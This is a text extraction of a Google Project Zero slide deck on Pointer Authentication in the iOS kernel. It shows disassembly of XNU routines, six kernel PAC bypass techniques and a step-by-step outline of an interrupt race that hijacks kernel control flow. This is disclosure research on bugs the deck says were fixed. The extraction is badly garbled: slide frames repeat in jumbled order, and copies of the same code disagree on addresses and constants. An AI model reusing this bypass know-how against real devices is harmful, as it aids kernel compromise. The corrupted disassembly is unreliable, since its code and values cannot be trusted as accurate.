iOS Kernel PAC, One Year Later

Brandon Azad, Google Project Zero
Examining Pointer Authentication on the iPhone XS

Posted by Brandon Azad, Project Zero

In this post I examine Apple’s implementation of Pointer Authentication on the A12 SoC used in the iPhone XS, with a focus on how Apple has improved over the ARM standard. I then demonstrate a way to use an arbitrary kernel read/write primitive to forge kernel PAC signatures for the A keys, which is sufficient to execute arbitrary code in the kernel using JOP. The technique I discovered was (mostly) fixed in iOS 12.1.3. In fact, this fix first appeared in the 16D5032a beta while my research was still ongoing.

ARMv8.3-A Pointer Authentication

Among the most exciting security features introduced with ARMv8.3-A is Pointer Authentication, a feature where the upper bits of a pointer are used to store a Pointer Authentication Code (PAC), which is essentially a cryptographic signature on the pointer value and some additional context. Special instructions have been introduced to add an authentication code to a pointer and to verify an authenticated pointer’s PAC and restore the original pointer value. This gives the system a way to make cryptographically strong guarantees about the likelihood that certain pointers have been tampered with by attackers, which offers the possibility of greatly improving application security.

(Proper terminology dictates that the security feature is called Pointer Authentication while the cryptographic signature that is inserted into the unused bits of a pointer is called the Pointer Authentication Code, or PAC.)
A Study in PAC

Brandon Azad

MOSEC 2019
ARMv8.3-A Pointer Authentication
Pointer Authentication

0xffffffffffff01e335a5c
Pointer Authentication

$0xffffffff01e335a5c$
Pointer Authentication

\[0x2ab4ae701e335a5c\]
Pointer Authentication

0x2ab4ae701e335a5c
## PAC instructions

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PACIA X1, X8</td>
<td>Sign pointer in X1 with IA key and context X8</td>
</tr>
<tr>
<td>PACIZA X1</td>
<td>Sign pointer in X1 with IA key and context 0</td>
</tr>
<tr>
<td>PACIBSP</td>
<td>Sign LR with IB key and context SP</td>
</tr>
<tr>
<td>AUTIA X2, X8</td>
<td>Authenticate signed pointer in X2 with IA key and context X8</td>
</tr>
<tr>
<td>XPACI X3</td>
<td>Strip the PAC from the pointer in X3 without validation</td>
</tr>
<tr>
<td>BLRAA X4, X8</td>
<td>Authenticate X4 with context X8, then branch-with-link</td>
</tr>
<tr>
<td>LDRAA X9, [X5]</td>
<td>Authenticate X5 with context 0, then load 64-bit value into X9</td>
</tr>
<tr>
<td>RETAB</td>
<td>Authenticate LR with IB key and context SP, then return</td>
</tr>
</tbody>
</table>
PAC in the iOS 12 kernel
<table>
<thead>
<tr>
<th></th>
<th>PAC key use in XNU</th>
</tr>
</thead>
<tbody>
<tr>
<td>IA</td>
<td>Global code pointer</td>
</tr>
<tr>
<td>IB</td>
<td>Thread-local code pointer</td>
</tr>
<tr>
<td>DA</td>
<td>Global data pointer</td>
</tr>
<tr>
<td>DB</td>
<td>Thread-local data pointer</td>
</tr>
<tr>
<td>GA</td>
<td>Generic data</td>
</tr>
</tbody>
</table>
Virtual method calls

```
loc_FFFFFFFF0081632D0
STR    XZR, [SP,#0x30+target]
LDR   W2, [X19,#trap_args.index]
LDR   X8, [X21]
LDR   X8, [X8,#0x5C8]
ADD   X1, SP, #0x30+target
MOV   X0, X21
BLR   X8
LDR   X9, [SP,#0x30+target]
CMP   X0, #0
CCMP  X9, #0, #4, NE
B.EQ  loc_FFFFFFFF008163330
```

```
loc_FFFFFFFF0081670E0
STR    XZR, [SP,#0x30+target]
LDR   W2, [X19,#trap_args.index]
LDR   X8, [X20]
LDRAA X9, [X8,#0x5C8]!
MOVK  X8, #0x2BCB,LSL#48
ADD   X1, SP, #0x30+target
MOV   X0, X20
BLRAA X9, X8
LDR   X9, [SP,#0x30+target]
CMP   X0, #0
CCMP  X9, #0, #4, NE
B.EQ  loc_FFFFFFFF008167170
```
Signing saved thread state (kernel & user)

```assembly
; void __fastcall sign_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)

sign_thread_state
   ; CODE XREF: flehDispatch64+9C:p
   ; Le11_sp0_synchronous_vector_long_impl_S3_4_c15

   PACGA  X1, X1, X0
   AND   X2, X2, #NOT 0x20000000 ; Carry flag
   PACGA  X1, X2, X1
   PACGA  X1, X3, X1
   STR    X1, [X0,#arm_context.pac_sig]
   RET

; End of function sign_thread_state
```
Verifying thread state signatures

; void __fastcall verify_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)

verify_thread_state
    ; CODE XREF: exception_return+54↑p
    ; machine_load_context+4C↑p ...
    PACGA      X1, X1, X0
    AND        X2, X2, #NOT 0x20000000 ; Carry flag
    PACGA      X1, X2, X1
    PACGA      X1, X3, X1
    LDR        X2, [X0,#arm_context.pac_sig]
    CMP        X1, X2
    B, NE      loc_FFFFFFFF0079BD0C8
    RET

loc_FFFFFFFF0079BD0C8
    ; CODE XREF: verify_thread_state+18↑j
    MOV        X1, X0
    ADR        X0, aJopHashMismatch ; "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)"
    BL         panic_with_thread_kernel_state

; End of function verify_thread_state

aJopHashMismatch DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0

ALIGN 0x20 ; DATA XREF: verify_thread_state+24↑o
Exception return

```assembly
exception_return

; CODE XREF: return_to_kernel:do_exception_return
; user_set_debug_state_and_return+24\j

MSR
#6, #0xF ; Disable exceptions

MRS
X3, #0, c13, c0, #4 ; TPIDR_EL1

MOV
SP, X21

LDR
X0, [X3,#thread.machine_cthread_data]

STR
X0, [SP,#arm_context.x18]

Exception_return_restore_registers

; CODE XREF: pplltramp_dispatch+BC\j

LDR
X0, [SP,#arm_context.pc]

LDR
W1, [SP,#arm_context.cpsr]

LDR
W2, [SP,#arm_context.fpsr]

LDR
W3, [SP,#arm_context.fPCR]

MSR
#0, c4, c0, #1, X0 ; ELR_EL1

MSR
#0, c4, c0, #0, X1 ; SPSR_EL1

MSR
#3, c4, c4, #1, X2 ; FPCR

MSR
#3, c4, c4, #0, X3 ; FPCR

MOV
X19, X0

MOV
X20, X1

MOV
X21, X2

MOV
X22, X3

LDR
X3, [SP,#arm_context.lr] ; lr

MOV
W2, W1 ; cpsr

MOV
X1, X0 ; pc

MOV
X0, SP ; state

BL
verify_thread_state

MOV
X0, X19
```
<table>
<thead>
<tr>
<th>Instruction</th>
<th>Register</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDP Q12, Q13, [X0,#arm_context.d12]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q14, Q15, [X0,#arm_context.d14]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q16, Q17, [X0,#arm_context.q16]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q18, Q19, [X0,#arm_context.q18]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q20, Q21, [X0,#arm_context.q20]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q22, Q23, [X0,#arm_context.q22]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q24, Q25, [X0,#arm_context.q24]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q26, Q27, [X0,#arm_context.q26]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q28, Q29, [X0,#arm_context.q28]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP Q30, Q31, [X0,#arm_context.q30]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X2, X3, [X0,#arm_context.x2]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X4, X5, [X0,#arm_context.x4]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X6, X7, [X0,#arm_context.x6]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X8, X9, [X0,#arm_context.x8]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X10, X11, [X0,#arm_context.x10]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X12, X13, [X0,#arm_context.x12]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X14, X15, [X0,#arm_context.x14]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X16, X17, [X0,#arm_context.x16]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X18, X19, [X0,#arm_context.x18]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X20, X21, [X0,#arm_context.x20]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X22, X23, [X0,#arm_context.x22]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X24, X25, [X0,#arm_context.x24]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X26, X27, [X0,#arm_context.x26]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDR X28, [X0,#arm_context.x28]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X29, X30, [X0,#arm_context.x29]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDR X1, [X0,#arm_context.sp]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MOV SP, X1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>LDP X0, X1, [X0,#arm_context.x0]</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Best ROP gadget ever!
Exception return

```
@ FFFFFFFFO079B3A40 exception_return
  MSR #6, #0xF ; Disable exceptions
  MRS X3, #0, c13, c0, #4 ; TPIDR_EL1
  MOV SP, X21
  LDR X0, [X3, #thread.machine_cthread_data]
  STR X0, [SP, #arm_context.x18]

@ FFFFFFFFO079B3A54 Lexception_return_restore_registers
  LDR X0, [SP, #arm_context.pc]
  LDR W1, [SP, #arm_context.cpsr]
  LDR W2, [SP, #arm_context.fpsr]
  LDR W3, [SP, #arm_context.fpcr]
  MSR #0, c4, c0, #1, X0 ; ELR_EL1
  MSR #0, c4, c0, #0, X1 ; SPSR_EL1
  MSR #3, c4, c4, #1, X2 ; FPSR
  MSR #3, c4, c4, #0, X3 ; FPCR
  LDR X3, [SP, #arm_context.lr] ; lr
  MOV W2, W1 ; cpsr
  MOV X1, X0 ; pc
  MOV X0, SP ; state
  BL verify_thread_state
  MOV X9, #19
  MOV X9, #0
```
iOS 12 PAC bypasses
## iOS 12 kernel PAC bypasses

<table>
<thead>
<tr>
<th>Issue Description</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>PAC signing gadget</td>
<td>1</td>
</tr>
<tr>
<td>PAC bruteforce gadget</td>
<td>1</td>
</tr>
<tr>
<td>Thread state signing gadget</td>
<td>2</td>
</tr>
<tr>
<td>Unprotected indirect branch</td>
<td>1</td>
</tr>
<tr>
<td>Implementation bug</td>
<td>1</td>
</tr>
</tbody>
</table>
A Study in PAC, bypass #1: signing gadget

```assembly
sysctl_unregister_oid
...
LDR   X10, [X9,#0x30]!
CBNZ  X19, loc_FFFFFFF007EBD330
CBZ   X10, loc_FFFFFFF007EBD330
MOV   X19, #0
MOV   X11, X9
MOVK  X11, #0x14EF,LSL#48
AUTIA X10, X11
PACIZA X10
STR   X10, [X9]
```
A Study in PAC, bypass #1: signing gadget

```
sysctl_unregister_oid
...
LDR    X10, [X9,#0x30]!
CBNZ   X19, loc_FFFFFFF007EBD330
CBZ    X10, loc_FFFFFFF007EBD330
MOV    X19, #0
MOV    X11, X9
MOVK   X11, #0x14EF,LSL#48
AUTIA  X10, X11
PACIZA X10
STR    X10, [X9]
```

AUTIA doesn't fault; AUTIA+PACIZA is a signing gadget
A Study in PAC, bypass #2: bruteforce gadget

```assembly
sysctl_unregister_oid
    ... 
    LDR X10, [X9,#0x30]!
    ... 
    MOV X11, X9
    MOVK X11, #0x14EF,LSL#48
    MOV X12, X10
    AUTIA X12, X11
    XPACI X10
    CMP X12, X10
    PACIZA X10
    CSEL X10, X10, X12, EQ
    STR X10, [X9]
```
A Study in PAC, bypass #2: bruteforce gadget

sysctl_unregister_oid
...
LDR X10, [X9,#0x30]!
...
MOV X11, X9
MOVK X11, #0x14EF,LSL#48
MOV X12, X10
AUTIA X12, X11
XPACI X10
CMP X12, X10
PACIZA X10
CSEL X10, X10, X12, EQ
STR X10, [X9]

Can be called repeatedly until we guess the right PAC
A Study in PAC, bypass #3: state signing gadget

copyio_error
    ...
    RETAB

__bcopyin
    PACIBSP
    STP    X29, X30, [SP,#-0x10]!
    MOV    X29, SP
    MRS    X10, TPIDR_EL1    ;; thread
    LDR    X11, [X10,#thread.recover]
    ADRL   X3, copyio_error
    STR    X3, [X10,#thread.recover]
    ...

A Study in PAC, bypass #3: state signing gadget

```
copyio_error
  ...
  RETAB

__bcopyin
  PACIBSP
  STP  X29, X30, [SP,#-0x10]!
  MOV  X29, SP
  MRS  X10, TPIDR_EL1  ;; thread
  LDR  X11, [X10,#thread.recover]
  ADRL  X3, copyio_error
  STR  X3, [X10,#thread.recover]
  ...
```

Unprotected code pointer used for control flow
A Study in PAC, bypass #4: unprotected branch

```assembly
ipc_kmsg_clean_body
...
ADR     X25, jpt_FFFFFFF0079CFAF0
...
BL      ipc_port_release_receive
...
CMP     W9, #3 ; switch 4 cases
B.HI    def_FFFFFFF0079CFAF0
LDRSW    X9, [X25,X9,LSL#2]
ADD      X9, X9, X25
BR       X9        ; switch jump
```
A Study in PAC, bypass #4: unprotected branch

```
ipc_kmsg_clean_body
...
ADR     X25, jpt_FFFFFFF0079CFAF0
...
BL     ipc_port_release_receive
...
CMP     W9, #3 ; switch 4 cases
B.HI    def_FFFFFFF0079CFAF0
LDRSW   X9, [X25,X9,LSL#2]
ADD     X9, X9, X25
BR      X9 ; switch jump
```

Unprotected indirect branch
A Study in PAC, bypass #4: unprotected branch

```
ipc_kmsg_clean_body
...
ADR     X25, jpt_FFFFFFFF0079CFAF0
...
BL     ipc_port_release_receive
...
CMP     W9, #3  ; switch 4 cases
B.HI    def_FFFFFFFF0079CFAF0
LDRSW   X9, [X25,X9,LSL#2]
ADD     X9, X9, X25
BR      X9       ; switch jump
```
A Study in PAC, bypass #5: state signing gadget

```c
machine_thread_create(thread *thread, ...) {
    user_state = zalloc(user_ss_zone);
    thread->machine.upcb = user_state;
    user_state = thread->machine.upcb;
    sign_thread_state(user_state,
                       user_state->pc,
                       user_state->cpsr,
                       user_state->lr);
}
```
A Study in PAC, bypass #5: state signing gadget

```c
machine_thread_create(thread *thread, ...) {
    user_state = zalloc(user_ss_zone);

    thread->machine.upcb = user_state;

    user_state = thread->machine.upcb;

    sign_thread_state(user_state,
                      user_state->pc,
                      user_state->cpsr,
                      user_state->lr);
}
```

Interrupts are enabled
Signing saved thread state (kernel & user)

```assembly
; void __fastcall sign_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)

sign_thread_state

; CODE XREF: fleh_dispatch64+9C\n
; Leli_sp0_synchronous_vector_long_impl_S3_4_c15

    PACGA    x1, x1, x0
    AND      x2, x2, #NOT 0x20000000 ; Carry flag
    PACGA    x1, x2, x1
    PACGA    x1, x3, x1
    STR      x1, [x0,#arm_context.pac_sig]
    RET

; End of function sign_thread_state
```
A Study in PAC, bypass #5: state signing gadget

```c
machine_thread_create(thread *thread, ...)
{
    user_state = zalloc(user_ss_zone);
    thread->machine.upcb = user_state;
    user_state = thread->machine.upcb;

    sign_thread_state(user_state,
                      user_state->pc,
                      user_state->cpsr,
                      user_state->lr);
}
```

Interrupts are enabled
A Study in PAC, bypass #5: state signing gadget

```c
machine_thread_create(thread *thread, ...) {
    user_state = zalloc(user_ss_zone);

    thread->machine.upcb = user_state;

    user_state = thread->machine.upcb;

    sign_thread_state(user_state,
                      user_state->pc,
                      user_state->cpsr,
                      user_state->lr);
}
```

Parameters to sign are read from memory.
Attacking iPhone XS Max bypass: validation bug

```assembly
jopdetector
    ; CODE XREF: sub_6079FFA40+54↑p
    ; machine_load_context+4C↑p ...
    PACGA       X1, X1, X0
    AND         X2, X2, #0xFFFFFFFDFDFDFDFDF
    PACGA       X1, X2, X1
    PACGA       X1, X3, X1
    LDR         X2, [X0,#0x128]
    CMP         X1, X2
    RET

; End of function jopdetector

; ----------------------------------------------------------
MOV         X1, X0
ADR         X0, aJopHashMismatch ; "JOP Hash Mismatch Detected (PC, CPSR, o"
BL          callPanic

; ----------------------------------------------------------
aJopHashMismatch DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0
    ; DATA XREF: __text:FFFFF007A090C870
ALIGN 0x20
```
Attacking iPhone XS Max bypass: validation bug

```assembly
jopdetector

; CODE XREF: sub_FFFFF0079FFA40+54\p
; machine_load_context+4C\p ...

PACGA   X1, X1, X0
AND     X2, X2, #0xFFFFFFFFFDFFFFFF
PACGA   X1, X2, X1
PACGA   X1, X3, X1
LDR     X2, [X0,#0x128]
CMP     X1, X2
RET

; End of function jopdetector

; -----------------------------------------------------------------------------

MOV     X1, X0
ADR     X0, aJopHashMismatch ; "JOP Hash Mismatch Detected (PC, CPSR, o)..."
BL      callPanic

; -----------------------------------------------------------------------------
aJopHashMismatch DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0

; DATA XREF: __text:FFFFFFF007A090C870

ALIGN 0x20
```
Attacking iPhone XS Max bypass: validation bug

```assembly
jopdetector

; CODE XREF: sub_FFFFFFFF0000FA40+54↑p
; machine_load_context:

PACGA    X1, X1, X0
AND      X2, X2, #0xFFFFFFFFFDFFFFFFF
PACGA    X1, X2, X1
PACGA    X1, X3, X1
LDR      X2, [X3,#0x128]
CMP       X1, X2
RET

; End of function jopdetector

; -----------------------------------------------

MOV       X1, X0
ADR       X0, aJopHashMismatc ; "JOP Hash Mismatch Detected (PC, CPSR, o"
BL        callPanic

; -----------------------------------------------

aJopHashMismatc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)", 0

; DATA XREF: __text:FFFFFFF007A090C870

ALIGN 0x20
```
iOS 13 changes
## PAC key use in XNU

<table>
<thead>
<tr>
<th>IA</th>
<th>Global code pointer</th>
<th>Function pointers, vtable methods</th>
</tr>
</thead>
<tbody>
<tr>
<td>IB</td>
<td>Thread-local code pointer</td>
<td>Return addresses</td>
</tr>
<tr>
<td>DA</td>
<td>Global data pointer</td>
<td>Vtable pointers</td>
</tr>
<tr>
<td>DB</td>
<td>Thread-local data pointer</td>
<td>(unused)</td>
</tr>
<tr>
<td>GA</td>
<td>Generic data</td>
<td>Thread saved state: PC, LR, CPSR, X16, X17</td>
</tr>
</tbody>
</table>

New protected registers
X16 and X17 should now be safe from modification during an interrupt
Hardened switch statements

Unprotected indirect branches only use X16 and X17
Analyzing PAC on iOS 13
A Study in PAC, bypass 5: state signing gadget

```c
machine_thread_create(thread *thread, ...) {
    user_state = zalloc(user_ss_zone);

    thread->machine.upcb = user_state;

    user_state = thread->machine.upcb;

    sign_thread_state(user_state,
        user_state->pc,
        user_state->cpsr,
        user_state->lr);
}
```
Bypass 5 fix

```c
machine_thread_create(thread *thread, ...) {
    user_state = zalloc(user_ss_zone);
    thread->machine.upcb = user_state;
    user_state = thread->machine.upcb;
    sign_thread_state(user_state, 0, 0, 0, 0, 0, 0);
}
```
Bypass 5 fix

```c
machine_thread_create(thread *thread, ...) {
    user_state = zalloc(user_ss_zone);
    thread->machine.upcb = user_state;
    user_state = thread->machine.upcb;
    sign_thread_state(user_state, 0, 0, 0, 0, 0, 0);
}
```

Issue: Interrupts are still enabled!
Bypass 5 fix (assembly)

```assembly
machine_thread_state_initialize
...
LDR   X0, [X19,#thread.upcb]  ; arm_context
CBZ   X0, loc_FFFFFFF007CD2A34
MOV   W2, #0  ; cpsr
MOV   X1, #0  ; pc
MOV   X3, #0  ; lr
MOV   X4, #0  ; x16
MOV   X5, #0  ; x17
BL    sign_thread_state
...
```

Imagine getting an interrupt here
Interrupt exceptions

```
ell_sp0_fiq_vector_long
  ...
  STP   X0, X1, [SP,#arm_context.x0]
  ...
  ADRL  X1, fleh_fiq
  B     fleh_dispatch64

fleh_dispatch64
  STP   X2, X3, [X0,#arm_context.x2]
  STP   X4, X5, [X0,#arm_context.x4]
  STP   X6, X7, [X0,#arm_context.x6]
  STP   X8, X9, [X0,#arm_context.x8]
  ...
```
Interrupt exceptions

`ell_sp0_fiq_vector_long`

```
... STP   X0, X1, [SP,#arm_context.x0]
... ADRL  X1, fleh_fiq
B      fleh_dispatch64
```

`fleh_dispatch64`

```
STP   X2, X3, [X0,#arm_context.x2]
STP   X4, X5, [X0,#arm_context.x4]
STP   X6, X7, [X0,#arm_context.x6]
STP   X8, X9, [X0,#arm_context.x8]
...```

![Diagram of thread with kstackptr and stack frame registers]
Bypass #6: Interrupts during thread state signing

```assembly
machine_thread_state_initialize
...
.LDR x0, [X19,#thread.upcb] ; arm_context
.CBZ x0, loc_FFFFFFFF007CD2A34
.MOV w2, #0 ; cpsr
.MOV x1, #0 ; pc
.MOV x3, #0 ; lr
.MOV x4, #0 ; x16
.MOV x5, #0 ; x17
.BL sign_thread_state
...
```

An interrupt here would spill X0-X5, allowing an attacker to change the parameters being signed
Finding a better interrupt point

```c
void thread_state64_to_saved_state(new_state, thread_state)
{
    ...
    new_pc = new_state->pc;
    x16 = thread_state->x16;
    x17 = thread_state->x17;
    cpsr = thread_state->cpsr;
    lr = thread_state->lr;
    verify_thread_state(thread_state, thread_state->pc, cpsr,
                        lr, x16, x17);
    thread_state->pc = new_pc;
    sign_thread_state(thread_state, new_pc, cpsr,
                       lr, x16, x17);
}
```
thread_state64_to_saved_state

... |
-----|
| MOV | X8, X30 |
| MOV | X0, X9  ; arm_context * |
| LDP | X4, X5, [X0,#arm_context.x16] ; x17 |
| LDR | X6, [X0,#arm_context.pc] |
| LDR | W7, [X0,#arm_context.cpsr] |
| LDR | X3, [X0,#arm_context.lr] ; lr |
| MOV | X1, X6  ; pc |
| MOV | W2, W7  ; cpsr |
| BL  | verify_thread_state |
| MOV | X1, X6 |
| MOV | W2, W7  ; cpsr |
| MOV | X1, X11 ; pc |
| STR | X1, [X0,#arm_context.pc] |
| BL  | sign_thread_state |
| MOV | X30, X8 |

... |
-----|
| RET |
thread_state64_to_saved_state

...  
MOV    X8, X30
MOV    X0, X9 ; arm_context *
LDP    X4, X5, [X0, #arm_context.x16] ; x17
LDR    X6, [X0, #arm_context.pc]
LDR    W7, [X0, #arm_context.cpsr]
LDR    X3, [X0, #arm_context.lr] ; lr
MOV    X1, X6 ; pc
MOV    W2, W7 ; cpsr
BL     verify_thread_state
MOV    X1, X6
MOV    W2, W7 ; cpsr
MOV    X1, X11 ; pc
STR    X1, [X0, #arm_context.pc]
BL     sign_thread_state
MOV    X30, X8
... 
RET
thread_state64_to_saved_state

... 
MOV   X8, X30
MOV   X0, X9  ; arm_context *
LDP   X4, X5, [X0,#arm_context.x16] ; x17
LDR   X6, [X0,#arm_context.pc]
LDR   W7, [X0,#arm_context.cpsr]
LDR   X3, [X0,#arm_context.lr] ; lr
MOV   X1, X6  ; pc
MOV   W2, W7  ; cpsr
BL    verify_thread_state
MOV   X1, X6
MOV   W2, W7  ; cpsr
MOV   X1, X11 ; pc
STR   X1, [X0,#arm_context.pc]
BL    sign_thread_state
MOV   X30, X8
...
RET

LR (X30) saved to X8 during function calls

X8 can be changed during an interrupt!
Bypass #6 idea

- Thread A: Pin to CPU #4 (receives many interrupts)
- Thread B: Pin to CPU #5 (receives few interrupts)
- Thread A: Loop on thread_set_state()
- Thread B: Monitor CPU #4's cpu_data for an interrupt
- Thread A: Gets interrupted just before "MOV X30, X8"
- Thread B: Overwrite CPU #4's saved X8 register value
- Thread A: Returns from interrupt handler, resumes at "MOV X30, X8"
- Thread A: Executes "RET", jumps to arbitrary PC
Thread A (CPU 4) → thread_set_state() → if (cpu_4_interrupted) overwrite_saved_x8()

Thread B (CPU 5) → thread_state64_to_saved_state → machine_thread_set_state → BL thread_state64_to_saved_state

```
thread_state64_to_saved_state
  ...
  MOV    X8, X30
  ...
  MOV    X30, X8
  ...
  RET

machine_thread_set_state
  ...
  BL     thread_state64_to_saved_state
  ...
```
Thread A (CPU 4)

if (cpu_4_interrupted)
  overwrite_saved_x8()

Thread B (CPU 5)

User

Kernel

cpu_set_state()
Thread set state(

Thread A (CPU 4)

if (cpu_4_interrupted)
overwrite_saved_x8()

Thread B (CPU 5)

If thread state 64_to_saved_state
... MOV x8, x30
... MOV x30, x8
... RET

machine_thread_set_state
... BL thread_state64_to_saved_state
...
Thread set state

Thread A (CPU 4)

Thread B (CPU 5)

if (cpu_4_interrupted)
    overwrite_saved_x8()

User

Kernel

thread_set_state()

machine_thread_set_state

... 

BL thread_state64_to_saved_state

...

thread_state64_to_saved_state

...

MOV X8, X30
...

MOV X30, X8
...

RET
Thread A (CPU 4)

```c
thread_set_state()
```

```
if (cpu_4_interrupted)
overwrite_saved_x8()
```

Thread B (CPU 5)

```c
thread_state64_to_saved_state
...
MOV     X8, X30
...
MOV     X30, X8
...
RET
```

```
machine_thread_set_state
...
BL     thread_state64_to_saved_state
...
```
Thread A (CPU 4)

thread_set_state()

Thread B (CPU 5)

if (cpu_4_interrupted)
    overwrite_saved_x8()

Kernel

User

```
thread_state64_to_saved_state
...`

```
MOV     X8, X30
...
MOV     X30, X8
...
RET
```

```
machine_thread_set_state
...
BL      thread_state64_to_saved_state
...
```
Thread A (CPU 4)

Thread B (CPU 5)

thread_set_state()

if (cpu_4_interrupted)
    overwrite_saved_x8()

machine_thread_set_state

... BL thread_state64_to_saved_state ...

thread_state64_to_saved_state

... MOV X8, X30 ...
    MOV X30, X8 ...
    RET
Thread B (CPU 5)

Thread A (CPU 4)

```
thread_state64_to_saved_state
...
  MOV     X8, X30
...
  MOV     X30, X8
...
  RET
```

```
machine_thread_set_state
...
  BL thread_state64_to_saved_state
...
```

```
if (cpu_4_interrupted)
  overwrite_saved_x8()
```
Thread A (CPU 4)

if (cpu_4_interrupted)
    overwrite_saved_x8()

Thread B (CPU 5)
Thread B (CPU 5)

if (cpu_4_interrupted)
overwrite_saved_x8()

Thread A (CPU 4)

thread_set_state()
Thread A (CPU 4)

Thread B (CPU 5)

if (cpu_4_interrupted)
 overwrite_saved_x8()

CPU 4:
Execute interrupt handler

```
L11_sp0_fiq_vector_long
```

```
thread_state64_to_saved_state
...
MOV x8, x30
...
MOV x30, x8
...
RET
```

```
machine_thread_set_state
...
BL thread_state64_to_saved_state
...
```

```
User
```

```
Kernel
```

```
Thread set_state()
```

```
ex
```

```
x0
x1
x2
...
x8
...
x29
lr
sp
pc
cpsr
pac_sig
```
Thread A (CPU 4)

```
thread_set_state()

machine_thread_set_state

...  
BL    thread_state64_to_saved_state
...  
CPU 4: Execute interrupt handler

```

Thread B (CPU 5)

```
if (cpu_4_interrupted)
overwrite_saved_x8()

```

CPU 4:

```
thread_state64_to_saved_state

...  
MOV    x8, x30
...  
MOV    x30, x8
...  
RET

```

```
elix_sp0_fiq_vector_long
...  
ERET

```

User

Kernel

X0
X1
X2
...
X8
...
X29
LR
SP
PC
CPSR
pac_sig
Thread B (CPU 5)

Thread A (CPU 4)

if (cpu_4_interrupted)
    overwrite_saved_x8()

CPU 4:
Execute interrupt handler

thread_set_state()
Thread A (CPU 4):

Thread B (CPU 5):

CPU 4:
Execute interrupt handler

```
thread_state64_to_saved_state
...
MOV x8, x30
...
MOV x30, x8
...
RET
```

```
machine_thread_set_state
...
BL thread_state64_to_saved_state
...
```

If (cpu_4_interrupted)

```
overwrite_saved_x8()
```

```
el1_sp0_fiq_vector_long
  ... ERET
```

User

Kernel

Thread A (CPU 4)

Thread B (CPU 5)
Thread A (CPU 4):

```
thread_set_state()
```

CPU 4: Execute interrupt handler

```
thread_state64_to_saved_state
  ...
  MOV  x8, x30
  ...
  MOV  x30, x8
  ...
  RET
```

```
machine_thread_set_state
  ...
  BL  thread_state64_to_saved_state
  ...
```

```
e11_sp0_fiq_vector_long
  ...
  ERET
```

Thread B (CPU 5):

```
if (cpu_4_interrupted)
  overwrite_saved_x8()
```
Thread B (CPU 5)

User

Thread A (CPU 4)

Kernel

```
CPU 4:
Execute interrupt handler

ell_sp0_fiq_vector_long

ERET
```

```
thread_set_state()
```

```
if (cpu_4_interrupted)
overwrite_saved_x8()
```

```
Thread B (CPU 5)
```
Thread A (CPU 4)

thread_set_state()

Thread B (CPU 5)

if (cpu_4_interrupted)
  overwrite_saved_x8()

CPU 4:
Execute interrupt handler

ell_sp0_fiq_vector_long
...  
  RET  

X0
X1
X2
...
X8
...
X29
LR
SP
PC
CPSR
pac_sig

machine_thread_set_state
...
BL thread_state64_to_saved_state
...

thread_state64_to_saved_state
...
MOV x8, x30
...
MOV x30, x8
...
RET
Thread B (CPU 5)

User

Kernel

thread_set_state()

Thread A (CPU 4)

if (cpu_4_interrupted)
overwrite_saved_x8()

Thread B (CPU 5)

machine_thread_set_state

... BL thread_state64_to_saved_state
...

thread_state64_to_saved_state

... MOV X8, X30
...

... MOV X30, X8
...

RET
Thread A (CPU 4)

- `thread_set_state()`
- `machine_thread_set_state`
  - `BL thread_state64_to_saved_state`

Thread B (CPU 5)

- `thread_state64_to_saved_state`
  - `MOV X8, X30`
  - `MOV X30, X8`
  - `RET`

- `if (cpu_4_interrupted) overwrite_saved_x8()`
Thread B (CPU 5)

Thread A (CPU 4)

User

Kernel

```
thread_set_state()
```

```
if (cpu_4_interrupted)
overwrite_saved_x8()
```

```
... thread_state64_to_saved_state
 ...
    MOV     X8, X30
 ...
    MOV     X30, X8
 ...
    RET

machine_thread_set_state
...
    BL thread_state64_to_saved_state
...
```
Thread A (CPU 4)

Thread B (CPU 5)

thread_set_state()

machine_thread_set_state

BL thread_state64_to_saved_state

thread_state64_to_saved_state

... MOV x8, x30

... MOV x30, x8

... RET

if (cpu_4_interrupted)
overwrite_saved_x8()
Thread A (CPU 4)

thread_set_state()

if (cpu_4_interrupted)
    overwrite_saved_x8()

Thread B (CPU 5)

Thread B (CPU 5)

thread_state64_to_saved_state
...
MOV    x8, x30
...
MOV    x30, x8
...
RET

machine_thread_set_state
...
BL     thread_state64_to_saved_state
...

User

